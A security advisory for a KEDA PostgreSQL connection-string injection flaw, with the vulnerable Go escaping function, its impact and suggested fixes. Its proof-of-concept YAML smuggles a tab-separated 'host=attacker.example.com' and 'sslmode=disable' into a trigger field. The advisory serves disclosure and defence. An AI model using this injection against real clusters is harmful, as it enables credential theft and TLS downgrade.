---
id: CVE-2026-53572
aliases:
  - GHSA-6w3m-4hhp-775q
  - GO-2026-5940
title: >-
  KEDA has PostgreSQL connection string parameter injection via incomplete
  whitespace escaping
summary: >-
  KEDA has PostgreSQL connection string parameter injection via incomplete
  whitespace escaping
severity: medium
cvss: 5.9
cvssVector: 'CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N'
vendor: kedacore
product: github.com/kedacore/keda/v2
ecosystem: go
affected:
  - github.com/kedacore/keda/v2 < 2.20.0
patched:
  - github.com/kedacore/keda/v2 2.20.0
published: '2026-07-07'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:50:51.454382163Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-6w3m-4hhp-775q'
references:
  - url: 'https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q'
  - url: 'https://github.com/kedacore/keda'
  - url: 'https://github.com/advisories/GHSA-6w3m-4hhp-775q'
tags:
  - osv
  - go
  - ghsa
epss: 0.00319
epssPercentile: 0.25078
cwe:
  - CWE-74
  - CWE-89
ingestedAt: '2026-07-08T00:44:25.704Z'
---

## Overview

### Summary
`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:
```go
func escapePostgreConnectionParameter(str string) string {
    if !strings.Contains(str, " ") {
        return str       // returned as-is for any non-space whitespace
    }
    str = strings.ReplaceAll(str, "'", "\\'")
    return fmt.Sprintf("'%s'", str)
}
```
The function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\tsslmode=disable\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.

### Vulnerable code
`pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257.

### Impact
Tenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:
- **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.
- **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword.
- Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior.

Note: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target.

### Proof of concept
```yaml
triggers:
- type: postgresql
  metadata:
    host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
    port: "5432"
    userName: "keda"
    dbName: "metrics"
    sslmode: "require"
    query: "SELECT 1"
```
After `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`.

### Suggested fix
- Escape / reject any ASCII whitespace (`\t`, `\n`, `\r`, `\f`, `\v`, space) and backslash.
- Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding.
- Validate each field against an allow-list pattern before use.

### Resources
- `pkg/scalers/postgresql_scaler.go`
- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING

## Affected packages

- `github.com/kedacore/keda/v2 < 2.20.0`

## Remediation

Upgrade to a patched release:

- `github.com/kedacore/keda/v2 2.20.0`